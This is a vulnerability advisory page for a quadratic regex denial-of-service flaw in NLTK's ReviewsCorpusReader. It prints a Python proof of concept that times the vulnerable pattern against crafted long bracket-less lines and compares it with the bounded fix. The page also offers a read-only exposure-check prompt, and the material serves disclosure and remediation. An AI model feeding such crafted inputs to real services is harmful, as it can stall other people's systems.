# CVE-2026-12061: Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-1333
- **Aliases:** GHSA-fg7f-2386-8897, PYSEC-2026-3582
- **Published:** 2026-07-31T16:51:09.000Z
- **Modified:** 2026-09-10T03:50:51.940Z

## Who should check

- Projects that depend on PyPI package nltk (\< 3.10.0)

## Description

\#\#\# Summary
\`ReviewsCorpusReader\` extracts feature annotations of the form \*label\* followed by a bracketed signed digit (e.g. a label then \`\[+2\]\`) from each review line, using the module-level \`FEATURES\` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal \`\[\`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs \`reviews()\`, \`features()\`, and \`sents()\`. 


\#\#\# Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal \`\[\`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the \*n\* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. \`re.findall\` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

\#\#\# PoC
\`\`\`
import multiprocessing as mp
import re
import time

\# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES\_VULN = re.compile(r"((?:(?:\\w+\\s)+)?\\w+)\\\[((?:\\+\|\\-)\\d)\\\]")

\# --- Bounded variant from the fix (PR \#3583): cap the per-label word run.
\#     A generous bound (real feature labels are short noun phrases) makes the
\#     run linear while never affecting legitimate corpora. ---
WORD\_BOUND = 50
FEATURES\_FIXED = re.compile(
    r"((?:(?:\\w+\\s){0,%d})?\\w+)\\\[((?:\\+\|\\-)\\d)\\\]" % WORD\_BOUND
)

TIMEOUT = 20.0  \# seconds, per measurement
SIZES = \[1000, 2000, 4000, 8000, 16000\]  \# words on a single bracket-less line


def \_bad\_line(n\_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " \* n\_words).rstrip()


def \_worker(pattern\_str, line, q):
    pat = re.compile(pattern\_str)
    t0 = time.perf\_counter()
    pat.findall(line)
    q.put(time.perf\_counter() - t0)


def timed\_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=\_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is\_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\\n\[{label}\]  pattern: {pattern.pattern}")
    print(f"  {'words':\>7} {'~bytes':\>8}   {'time':\>12}   {'x prev':\>7}")
    prev = None
    for n in SIZES:
        line = \_bad\_line(n)
        t = timed\_findall(pattern, line)
        if t is None:
            print(f"  {n:\>7} {len(line):\>8}   {'\>%.0fs TIMEOUT' % TIMEOUT:\>12}   {'--':\>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:\>7} {len(line):\>8}   {t\*1000:\>9.1f} ms   {ratio:\>7}")
            prev = t


def parity\_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality\[+2\] and battery life\[+1\] are great but "
        "the lens cap\[-1\] feels cheap and the menu system\[-2\] is slow"
    )
    a = FEATURES\_VULN.findall(real)
    b = FEATURES\_FIXED.findall(real)
    print("\\n\[parity\] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -\> {a}")
    print(f"  bounded   regex  -\> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" \* 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" \* 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD\_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES\_VULN)
    bench("BOUNDED     fix \#3583", FEATURES\_FIXED)
    same = parity\_check()

    print("\\n" + "=" \* 66)
    print(" Vulnerable: ~4x time per input doubling  =\> O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  =\> O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" \* 66)


if \_\_name\_\_ == "\_\_main\_\_":
    main()
\`\`\`

\#\#\# Impact
Denial of service. Processing a single crafted line through \`ReviewsCorpusReader\` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

## Affected and fixed versions

- PyPI `nltk`: affected \< 3.10.0; fixed 3.10.0 (osv)

## Mitigation

- Upgrade nltk to 3.10.0 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-12061. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-12061.md
Affected: nltk < 3.10.0
Fixed in: 3.10.0

Steps:
1. Search this machine and project for nltk (PyPI): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-12061 being exploited?

There is no confirmed exploitation: CVE-2026-12061 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-12061?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-12061?

nltk \< 3.10.0.

### Is there a fix for CVE-2026-12061?

Yes. Fixed in 3.10.0. Upgrade nltk to 3.10.0 or later.

### How do I check if I'm affected by CVE-2026-12061?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897>
- vendor: <https://github.com/advisories/GHSA-fg7f-2386-8897>
- vendor: <https://nvd.nist.gov/vuln/detail/CVE-2026-12061>
- other: <https://github.com/nltk/nltk>
- other: <https://pypi.org/project/nltk>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-fg7f-2386-8897> (license: <https://creativecommons.org/licenses/by/4.0/>)
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/PYSEC-2026-3582> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-12061> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-12061>
